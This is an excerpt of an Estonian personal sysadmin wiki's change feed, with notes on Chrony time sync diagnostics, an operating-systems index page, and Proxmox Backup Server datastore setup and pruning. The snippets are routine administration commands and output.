===Misc===&lt;br /&gt;
&lt;br /&gt;
chronyd protsessi info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pgrep chronyd&lt;br /&gt;
1436092&lt;br /&gt;
1436093&lt;br /&gt;
root@pve-svc-02:~# lsns -p 1436093&lt;br /&gt;
        NS TYPE   NPROCS     PID USER    COMMAND&lt;br /&gt;
4026531833 net       481       1 root    /sbin/init&lt;br /&gt;
4026531834 time      481       1 root    /sbin/init&lt;br /&gt;
4026531835 cgroup    481       1 root    /sbin/init&lt;br /&gt;
4026531836 pid       481       1 root    /sbin/init&lt;br /&gt;
4026531837 user      481       1 root    /sbin/init&lt;br /&gt;
4026531839 ipc       481       1 root    /sbin/init&lt;br /&gt;
4026533035 mnt         2 1436092 _chrony ├─/usr/sbin/chronyd -F 1&lt;br /&gt;
4026533036 uts         2 1436092 _chrony └─/usr/sbin/chronyd -F 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep -i seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# nsenter -m -t 1436092 findmnt | grep inacc | sed -r 's/tmpfs\s+.*//'&lt;br /&gt;
│ └─/dev/kmsg                                                    tmpfs[/systemd/inaccessible/chr]&lt;br /&gt;
│ ├─/run/credentials                                             tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
│ ├─/run/user                                                    tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/root                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/home                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/usr/lib/modules                                               tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sources info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc sources -v -n&lt;br /&gt;
&lt;br /&gt;
  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.&lt;br /&gt;
 / .- Source state '*' = current best, '+' = combined, '-' = not combined,&lt;br /&gt;
| /             'x' = may be in error, '~' = too variable, '?' = unusable.&lt;br /&gt;
||                                                 .- xxxx [ yyyy ] +/- zzzz&lt;br /&gt;
||      Reachability register (octal) -.           |  xxxx = adjusted offset,&lt;br /&gt;
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,&lt;br /&gt;
||                                \     |          |  zzzz = estimated error.&lt;br /&gt;
||                                 |    |           \&lt;br /&gt;
MS Name/IP address         Stratum Poll Reach LastRx Last sample&lt;br /&gt;
===============================================================================&lt;br /&gt;
^* 10.192.0.53                   4   9   377   413   -135us[ -216us] +/- 3171us&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tracking info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc tracking&lt;br /&gt;
Reference ID    : 0AC00035 (10.192.0.53)&lt;br /&gt;
Stratum         : 5&lt;br /&gt;
Ref time (UTC)  : Sun May 03 17:25:18 2026&lt;br /&gt;
System time     : 0.000016197 seconds slow of NTP time&lt;br /&gt;
Last offset     : -0.000080330 seconds&lt;br /&gt;
RMS offset      : 0.000049475 seconds&lt;br /&gt;
Frequency       : 0.712 ppm fast&lt;br /&gt;
Residual freq   : -0.006 ppm&lt;br /&gt;
Skew            : 0.085 ppm&lt;br /&gt;
Root delay      : 0.006004042 seconds&lt;br /&gt;
Root dispersion : 0.000445185 seconds&lt;br /&gt;
Update interval : 517.6 seconds&lt;br /&gt;
Leap status     : Normal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3417</id>
		<title>Chrony</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3417"/>
		<updated>2026-05-03T17:33:08Z</updated>

		<summary type="html">&lt;p&gt;Imre: Uus lehekülg: '===Sissejuhatus===  TODO  ===Tööpõhimõte===  TODO  ===Misc===  chrony   sources info  &amp;lt;pre&amp;gt; root@pve-svc-02:~# chronyc sources -v -n    .-- Source mode  '^' = server, '=' = peer, '#' = local clock.  / .- Source state '*' = current best, '+' = combined, '-' = not combined, | /             'x' = may be in error, '~' = too variable, '?' = unusable. ||                                                 .- xxxx [ yyyy ] +/- zzzz ||      Reachability register (octal) -....'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
chrony &lt;br /&gt;
&lt;br /&gt;
sources info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc sources -v -n&lt;br /&gt;
&lt;br /&gt;
  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.&lt;br /&gt;
 / .- Source state '*' = current best, '+' = combined, '-' = not combined,&lt;br /&gt;
| /             'x' = may be in error, '~' = too variable, '?' = unusable.&lt;br /&gt;
||                                                 .- xxxx [ yyyy ] +/- zzzz&lt;br /&gt;
||      Reachability register (octal) -.           |  xxxx = adjusted offset,&lt;br /&gt;
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,&lt;br /&gt;
||                                \     |          |  zzzz = estimated error.&lt;br /&gt;
||                                 |    |           \&lt;br /&gt;
MS Name/IP address         Stratum Poll Reach LastRx Last sample&lt;br /&gt;
===============================================================================&lt;br /&gt;
^* 10.192.0.53                   4   9   377   413   -135us[ -216us] +/- 3171us&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tracking info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc tracking&lt;br /&gt;
Reference ID    : 0AC00035 (10.192.0.53)&lt;br /&gt;
Stratum         : 5&lt;br /&gt;
Ref time (UTC)  : Sun May 03 17:25:18 2026&lt;br /&gt;
System time     : 0.000016197 seconds slow of NTP time&lt;br /&gt;
Last offset     : -0.000080330 seconds&lt;br /&gt;
RMS offset      : 0.000049475 seconds&lt;br /&gt;
Frequency       : 0.712 ppm fast&lt;br /&gt;
Residual freq   : -0.006 ppm&lt;br /&gt;
Skew            : 0.085 ppm&lt;br /&gt;
Root delay      : 0.006004042 seconds&lt;br /&gt;
Root dispersion : 0.000445185 seconds&lt;br /&gt;
Update interval : 517.6 seconds&lt;br /&gt;
Leap status     : Normal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemid&amp;diff=3416</id>
		<title>Operatsioonisüsteemid</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemid&amp;diff=3416"/>
		<updated>2026-05-03T17:30:06Z</updated>

		<summary type="html">&lt;p&gt;Imre: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Debian GNU/Linux&lt;br /&gt;
&lt;br /&gt;
* [[:AMD/ATI videokaardi kasutamine operatsioonisüsteemiga Debian Wheezy]]&lt;br /&gt;
* [[:NVIDIA videokaardi kasutamine operatsioonisüsteemiga Debian Wheezy]]&lt;br /&gt;
* [[:X.Org kasutamine operatsioonisüsteemiga Debian Wheezy]]&lt;br /&gt;
* [[:GNOME kasutamine operatsioonisüsteemiga Debian Wheezy]]&lt;br /&gt;
* [[:Xfce kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Wayland kasutamine operatsioonisüsteemiga Debian Jessie]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian GNU/Linux kasutamine]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian GNU/Linux paketihalduse kasutamine]]&lt;br /&gt;
* [[:Pulseaudio kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:Rsyslog kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Vsftpd kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:Kasutajakeskkond operatsioonisüsteemis Debian Squeeze]]&lt;br /&gt;
* [[:Wifi kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:GRUB2 alglaaduri kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:boot manager systemd-boot kasutamine]]&lt;br /&gt;
* [[:udev kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:Printeri kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:Syslog-ng kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Debian Squeeze SELinux kasutamine]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian Squeeze käivitamine NFS ressursilt]]&lt;br /&gt;
* [[:Kui Linux operatsioonisüsteem ei tööta hästi]]&lt;br /&gt;
* [[:ClearOS kasutamine]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian Jessie käivitamine iSCSI ressursilt]]&lt;br /&gt;
* [[:LightDM kasutamine]]&lt;br /&gt;
* [[:systemd kasutamine]]&lt;br /&gt;
* [[:apt-mirror kasutamine]]&lt;br /&gt;
* [[:reprepro kasutamine]]&lt;br /&gt;
* [[:AppArmor kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Auditd kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Polkit kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Operatsioonisüsteem Debian v. 10 Buster kasutamine]]&lt;br /&gt;
&lt;br /&gt;
Ubuntu&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi Ubuntu kasutamine]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Ubuntu kasutamine töökohaarvutis]]&lt;br /&gt;
* [[:SNAP kasutamine operatsioonisüsteemiga Ubuntu v. 18.04]]&lt;br /&gt;
&lt;br /&gt;
FreeBSD&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi FreeBSD kasutamine]]&lt;br /&gt;
* [[:Debian GNU/kFreeBSD kasutamine]]&lt;br /&gt;
* [[:Project Trident kasutamine töökohaarvutis]]&lt;br /&gt;
* [[:FreeBSD kasutamine töökohaarvutis]]&lt;br /&gt;
&lt;br /&gt;
OpenBSD&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi OpenBSD kasutamine]]&lt;br /&gt;
* [[:OpenBSD spamd tarkvara kasutamine]]&lt;br /&gt;
* [[:Multiboot OpenBSD süsteemi uuendamine]]&lt;br /&gt;
* [[:OpenBSD kasutamine töökohaarvutis]]&lt;br /&gt;
* [[:Multi boot Linux + OpenBSD UEFI + GPT + software raid keskkonnas]]&lt;br /&gt;
&lt;br /&gt;
RedHat&lt;br /&gt;
&lt;br /&gt;
* [[:Redhat Enterprise Linux v4 kasutamine]]&lt;br /&gt;
* [[:Redhat Enterprise Linux v5 kasutamine]]&lt;br /&gt;
* [[:Redhat Enterprise Linux v6 kasutamine]]&lt;br /&gt;
* [[:Redhat Enterprise Linux v7 kasutamine]]&lt;br /&gt;
* [[:CentOS v6 kasutamine]]&lt;br /&gt;
* [[:CentOS v7 kasutamine]]&lt;br /&gt;
&lt;br /&gt;
SLES&lt;br /&gt;
&lt;br /&gt;
* [[:SLES 11 kasutamine]]&lt;br /&gt;
&lt;br /&gt;
Windows&lt;br /&gt;
&lt;br /&gt;
* [[:Zabbix agendi kasutamine Windows 7 operatsioonisüsteemiga]]&lt;br /&gt;
* [[:Windows XP kasutamine]]&lt;br /&gt;
* [[:Windows 2012 serveri kasutamine AD domeenikontrollerina]]&lt;br /&gt;
* [[:Windows 2012 serveri kasutamine Exchange 2010 SP3 postimasinana]]&lt;br /&gt;
&lt;br /&gt;
Android&lt;br /&gt;
&lt;br /&gt;
* [[:Sony Ericsson Xperia Pro kasutamine tarkvaraga CyanogenMod]]&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* [[:Zentyal kasutamine]]&lt;br /&gt;
* [[:Generic kaasaegne operatsioonisüsteem]]&lt;br /&gt;
* [[:Trinity Rescue Kit]]&lt;br /&gt;
* [[:SystemRescueCd]]&lt;br /&gt;
* [[:TPM kasutamine]]&lt;br /&gt;
* [[:OmniOS kasutamine]]&lt;br /&gt;
* [[:FreeDOS kasutamine]]&lt;br /&gt;
* [[:IKT lahendusel põhineva teenuse käitamine]]&lt;br /&gt;
* [[:xrdp serveri kasutamine]]&lt;br /&gt;
* [[:Linux perf kasutamine]]&lt;br /&gt;
* [[:eBPF ja BCC utiliitide kasutamine]]&lt;br /&gt;
* [[:Arch Linux]]&lt;br /&gt;
* [[:Jõudluse mõõtmine]]&lt;br /&gt;
* [[:Osnexus]]&lt;br /&gt;
* [[:Mattermost]]&lt;br /&gt;
* [[Passwork]]&lt;br /&gt;
* [[:Linux kernel namespace]]&lt;br /&gt;
&lt;br /&gt;
UEFI&lt;br /&gt;
&lt;br /&gt;
* [[:UEFI]]&lt;br /&gt;
* [[:UEFI Secure Boot kasutamisest üldiselt]]&lt;br /&gt;
* [[:UEFI Secure Boot kasutamine virtuaalse riistvaraga OVMF]]&lt;br /&gt;
* [[:UEFI Secure Boot kasutamine füüsilise riistvaraga]]&lt;br /&gt;
* [[:UEFI Secure Boot kasutamine töökohaarvutis]]&lt;br /&gt;
&lt;br /&gt;
Hugepages&lt;br /&gt;
&lt;br /&gt;
* [[:Hugepages üldiselt]]&lt;br /&gt;
* [[:Hugepages ja Proxmox PVE]]&lt;br /&gt;
* [[:Hugepages ja PostgreSQL]]&lt;br /&gt;
&lt;br /&gt;
Mac&lt;br /&gt;
&lt;br /&gt;
* [[:Power Mac G5 kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Mac OS X operatsioonisüsteemi kasutamine KVM guestina]]&lt;br /&gt;
* [[:Mac OS X operatsioonisüsteemi kasutamine VirtualBox guestina]]&lt;br /&gt;
* [[:MacOS operatsioonisüsteemi kasutamine füüsilise MacBook Air M4 arvutiga]]&lt;br /&gt;
&lt;br /&gt;
Kellaaeg&lt;br /&gt;
&lt;br /&gt;
* [[:Kellaaeg üldiselt]]&lt;br /&gt;
* [[:NTP]]&lt;br /&gt;
* [[:NTS]]&lt;br /&gt;
* [[:PTP]]&lt;br /&gt;
* [[:Chrony]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_Backup_Server&amp;diff=3415</id>
		<title>Proxmox Backup Server</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_Backup_Server&amp;diff=3415"/>
		<updated>2026-05-02T12:42:56Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 2026 kevad märkused */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* PBS - Proxmox Backup Server&lt;br /&gt;
* PVE - Proxmox Virtualization Environment&lt;br /&gt;
* DS - datastore&lt;br /&gt;
* NS - namespace&lt;br /&gt;
* GC - garbage collect&lt;br /&gt;
* Purne - &lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* PBS vaikimisi pakib, st ei ole mõtet kasutada PBS storage juures pakkivat failisüsteemi vms (nt 'zfs create -o compression=lz4 ...' vms; tundub, et failisüstteemi pakkimise kasutmine ei muuda varundamiseks kuluvat aega ega mahtu, aga pbs serverile tekib natuke rohkem cpu koormust)&lt;br /&gt;
* PBS tegleb ise pakkimisega ja paistab, et seda ei saagi välja lülitada (nt proxmox pve webgui haldusliideses backup käivitamise on 'Compression: ZSTD (fast and good)' greyed-out&lt;br /&gt;
* mitu PSB serverit saab omavahel nö kokku aheldada, tulemusena tekib mitme etapiline varundus (varundus varundab varundust)&lt;br /&gt;
&lt;br /&gt;
Kasutusalad&lt;br /&gt;
&lt;br /&gt;
* varundatud ja riknenud arvuti asendamine varundusest taastatud arvutiga&lt;br /&gt;
* varundatud arvuti taastamine teisse proxmox klastrisse (nt kontrolli või uuringu eesmärgil)&lt;br /&gt;
&lt;br /&gt;
Üks võimalik kasutusjuhtum&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                         CLTARTU&lt;br /&gt;
&lt;br /&gt;
               pve-tartu-1             pve-tartu-2              pve-tartu-n&lt;br /&gt;
           __________________       __________________       __________________&lt;br /&gt;
          |                  |     |                  |     |                  |&lt;br /&gt;
          | vm1 (vmid=1001)  |     | vm3 (vmid=1003)  |     | vm5 (vmid=1005)  |&lt;br /&gt;
          | vm2 (vmid=1002)  |     | vm4 (vmid=1004)  |     | vm6 (vmid=1006)  |&lt;br /&gt;
          |__________________|     |__________________|     |__________________|&lt;br /&gt;
                    |                        |                        |&lt;br /&gt;
                    |                        |                        |&lt;br /&gt;
         -----------|-----------------|------|---------------------|--|-----------&lt;br /&gt;
                                      |                            |&lt;br /&gt;
                 |                    |                            |&lt;br /&gt;
                 |             _______|_______             ________|________&lt;br /&gt;
                 |            |               |           |                 |&lt;br /&gt;
                 '---------&amp;gt;  |   ns-tartu    | &amp;lt;-------  |    ns-tartu     |&lt;br /&gt;
                              |               |           |                 |&lt;br /&gt;
                              | pbs-tartu-1st |           | pbs-tallinn-2nd |&lt;br /&gt;
                              |               |           |                 |&lt;br /&gt;
                 ,---------&amp;gt;  |  ns-tallinn   | &amp;lt;-------  |   ns-tallinn    |&lt;br /&gt;
                 |            |_______________|           |_________________|&lt;br /&gt;
                 |                    |                            |&lt;br /&gt;
                 |                    |                            |&lt;br /&gt;
                                      |                            |&lt;br /&gt;
         ----------|------------------|------|---------------------|-|---------------&lt;br /&gt;
                   |                         |                       |&lt;br /&gt;
                   |                         |                       |&lt;br /&gt;
           ________|_________       _________|________       ________|_________&lt;br /&gt;
          |                  |     |                  |     |                  |&lt;br /&gt;
          | vm1 (vmid=1001)  |     | vm3 (vmid=1003)  |     | vm5 (vmid=1005)  |&lt;br /&gt;
          | vm2 (vmid=1002)  |     | vm4 (vmid=1004)  |     | vm6 (vmid=1006)  |&lt;br /&gt;
          |__________________|     |__________________|     |__________________|&lt;br /&gt;
&lt;br /&gt;
              pve-tallinn-1           pve-tallinn-2             pve-tallinn-n&lt;br /&gt;
&lt;br /&gt;
                                         CLTALLINN                                            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* pve-1, 2 ja 3 on proxmox virtual environment host arvutid&lt;br /&gt;
* vm1, vm2 ... vm6 on pve peal töötavad virtuaalsed arvutid&lt;br /&gt;
* pbs-1st on proxmox backup server abil realiseeritud esimese taseme varundus&lt;br /&gt;
* pbs-2nd on proxmox backup server abil realiseeritud teise taseme varundus&lt;br /&gt;
* pve-1 ... 3 peavad reeglina asuma samas subnetis&lt;br /&gt;
* pbs-1st ja 2nd ei pea asuma samas subnetis pve arvutitega ega ise üksteisega&lt;br /&gt;
* CLTARTU ja CLTALLINN - PVE klastrite nimed&lt;br /&gt;
&lt;br /&gt;
Varundamisega seotud võrguliiklus&lt;br /&gt;
&lt;br /&gt;
* andmeliikluse algamise mõttes pöörduvad nii vmN arvutid kui pbs-2nd arvuti pbs-1st arvuti poole&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Seadistamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Datastore lisamine - pbs ja webgui====&lt;br /&gt;
&lt;br /&gt;
Järgneva eelduseks on, et pbs on paigaldatud ning arvutis on üks kasutamata /dev/vdc vms plokkseade. Datastore on võimalik seadistada pbs webgui liidese abil&lt;br /&gt;
&lt;br /&gt;
 Administration -&amp;gt; Storage/Disks -&amp;gt; Directory -&amp;gt; Create: Directory&lt;br /&gt;
&lt;br /&gt;
ning avanenud dialoogis täita lahtrid&lt;br /&gt;
&lt;br /&gt;
* Disk - /dev/vdc&lt;br /&gt;
* Filesystem - ext4&lt;br /&gt;
* Name - ds-pbs-tmp&lt;br /&gt;
* Add as Datastore - linnutada&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekitatakse systemd mount objekt, mis monteerib failisüsteemi /mnt/datastore alamkataloogiks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/systemd/system/mnt-datastore-ds\\x2dpbs\\x2dtmp.mount &lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Mount datatstore 'ds-pbs-tmp' under '/mnt/datastore/ds-pbs-tmp'&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=multi-user.target&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
Options=defaults&lt;br /&gt;
Type=ext4&lt;br /&gt;
What=/dev/disk/by-uuid/5d52fefc-212a-45dc-ab68-dc55dc3ed051&lt;br /&gt;
Where=/mnt/datastore/ds-pbs-tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
mis täpsemalt paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -t ext4 -h&lt;br /&gt;
Filesystem                        Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/mapper/pbs-root               21G  1.8G   19G   9% /&lt;br /&gt;
/dev/vdc1                         108G  258M  102G   1% /mnt/datastore/ds-pbs-tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning lisaks võetakse kasutusele datastore'ina&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/proxmox-backup/datastore.cfg &lt;br /&gt;
datastore: ds-pbs-tmp&lt;br /&gt;
	path /mnt/datastore/ds-pbs-tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Siin on mitu nö probleemi&lt;br /&gt;
&lt;br /&gt;
* ketas partitsioneeritakse - see teeb ebamugavaks /dev/vdc suurendamise, käigult ei saagi hästi suurendada&lt;br /&gt;
* süsteemis osa failisüsteeme monteeritakse /etc/fstab abil ja osa systemd vahenditega&lt;br /&gt;
* /mnt alune on üldiselt natuke ebaloomulik koht püsivaks kasutuseks asjade pidamiseks (/mnt on ad hoc monteerimisteks, ja /srv püsivateks) - vt https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard&lt;br /&gt;
&lt;br /&gt;
====Datastore lisamine - käsitsi ja webgui====&lt;br /&gt;
&lt;br /&gt;
Ehk otsekohesem ja ka suurema kontrolli tulemuse üle saab nö tavalisel viisil monteerides /etc/fstab abil /srv/pbs alla failisüsteemi ning siis webgui pealt seadistada pbs tarkvara seda kasutama.&lt;br /&gt;
&lt;br /&gt;
 # pvcreate /dev/vdc&lt;br /&gt;
 # vgcreate vg_pbs /dev/vdc&lt;br /&gt;
 # lvcreate -l +100%FREE -n srv_pbs vg_pbs&lt;br /&gt;
 # mkfs.ext4 /devv/vg_pbs/srv_pbs&lt;br /&gt;
 # # cat /etc/fstab &lt;br /&gt;
 ...&lt;br /&gt;
 /dev/vg_pbs/srv_pbs /srv/pbs ext4 defaults 0 0&lt;br /&gt;
 # mkdir /srv/pbs&lt;br /&gt;
 # mount /srv/pbs&lt;br /&gt;
&lt;br /&gt;
ext4 failisüsteemi kasutamisel kasutatakse veel nö vahel lisaks lvm kihti, see teeb võimalikud muudatused sujuvamaks, nt saab kunagi plokkseadme asendada käigult pvmove abil.&lt;br /&gt;
&lt;br /&gt;
Kui /srv/pbs kataloogi alla on failisüsteem monteeritud, siis sobib webgui peal öelda&lt;br /&gt;
&lt;br /&gt;
 Datastore -&amp;gt; Add Datastore&lt;br /&gt;
&lt;br /&gt;
ning täita lahtrid&lt;br /&gt;
&lt;br /&gt;
* Name - ds-pbs&lt;br /&gt;
* Backing Path: /srv/pbs&lt;br /&gt;
&lt;br /&gt;
===Kasutamine - varundamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Seadistatud ja varundamisega tegelevas PBS serveris on muu hulgas sellised failid&lt;br /&gt;
&lt;br /&gt;
* datastore'ide kirjeldus - /etc/proxmox-backup/datastore.cfg&lt;br /&gt;
* proxmox kasutajatega seotud andmed - shadow.json, user.cfg ja acl.cfg&lt;br /&gt;
* 2nd stage kopeerimise ligipääsu kirjeldus - /etc/proxmox-backup/remote.cfg&lt;br /&gt;
&lt;br /&gt;
===Kasutatamine - taastamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Haldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pbs tarkvara juhtimiseks on kaks käivitusskripti, seiskamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup-proxy&lt;br /&gt;
 # systemctl stop proxmox-backup&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup&lt;br /&gt;
 # systemctl stop proxmox-backup-proxy&lt;br /&gt;
&lt;br /&gt;
proxmox-backup-proxy kuulab 8007 võrku, apt teenus jms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@varundus-2nd:/srv# netstat -lnpt | grep backup&lt;br /&gt;
tcp        0      0 127.0.0.1:82            0.0.0.0:*               LISTEN      3461/proxmox-backup &lt;br /&gt;
tcp6       0      0 :::8007                 :::*                    LISTEN      3476/proxmox-backup &lt;br /&gt;
&lt;br /&gt;
root@varundus-2nd:/srv# ps aux | grep 3476&lt;br /&gt;
backup    3476 16.6  1.6 844856 51096 ?        Ssl  21:59   0:32 /usr/lib/x86_64-linux-gnu/proxmox-backup/proxmox-backup-proxy&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Andmesalvestuse asukohtade jms seadistused asuvad failis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pbs:~# cat /etc/proxmox-backup/datastore.cfg &lt;br /&gt;
datastore: ds_zpool_wds_pbs&lt;br /&gt;
	comment &lt;br /&gt;
	gc-schedule daily&lt;br /&gt;
	path /zpool_wdc/pbs&lt;br /&gt;
	prune-schedule daily&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===PBS schedule kasutamine===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* virtuaalsete arvutite regulaarsed varundamised seadistatakse Proxmox VE keskkonnas (nt proxmox hostide webgui haldusliidestes)&lt;br /&gt;
* varundamine toimib proxmox host algatusel&lt;br /&gt;
* varundatud varunduste regulaarne harvendamine toimub proxmox backup serveri webgui haldusliideses seadistatu alusel; ja pbs algatusel&lt;br /&gt;
* Prune - tegeleb nö kataloogist vana varunduse eemaldamisega&lt;br /&gt;
* GC (garbage collection) - tegeleb kataloogist kustatule vastavate andmete osa vabastamisega salvestusseadmelt&lt;br /&gt;
&lt;br /&gt;
====Regulaarsete varundamiste seadistamine - PVE====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti regulaarse varundamise seadistamiseks sobib virtuaalse arvuti juures veenduda, et plokkseadmete juures ei ole märget&lt;br /&gt;
&lt;br /&gt;
 backup=0&lt;br /&gt;
&lt;br /&gt;
Seejärel avada&lt;br /&gt;
&lt;br /&gt;
 Datacenter -&amp;gt; Backup -&amp;gt; Add (või Edit kui juba on olemas)&lt;br /&gt;
&lt;br /&gt;
ning linnutada ära sobiv arvuti.&lt;br /&gt;
&lt;br /&gt;
====Regulaarsete kustutamise seadistamine - PBS====&lt;br /&gt;
&lt;br /&gt;
Logida sisse varundamise arvutisse ja valida&lt;br /&gt;
&lt;br /&gt;
 Datastore -&amp;gt; ds_nimi -&amp;gt; Prune &amp;amp; GC&lt;br /&gt;
&lt;br /&gt;
ning seadistada Prune rutiin&lt;br /&gt;
&lt;br /&gt;
* Keep Last&lt;br /&gt;
* Keep Hourly&lt;br /&gt;
* ..&lt;br /&gt;
* Keep Yearly&lt;br /&gt;
&lt;br /&gt;
ning seadistada Prune ja CG alguse aeg.&lt;br /&gt;
&lt;br /&gt;
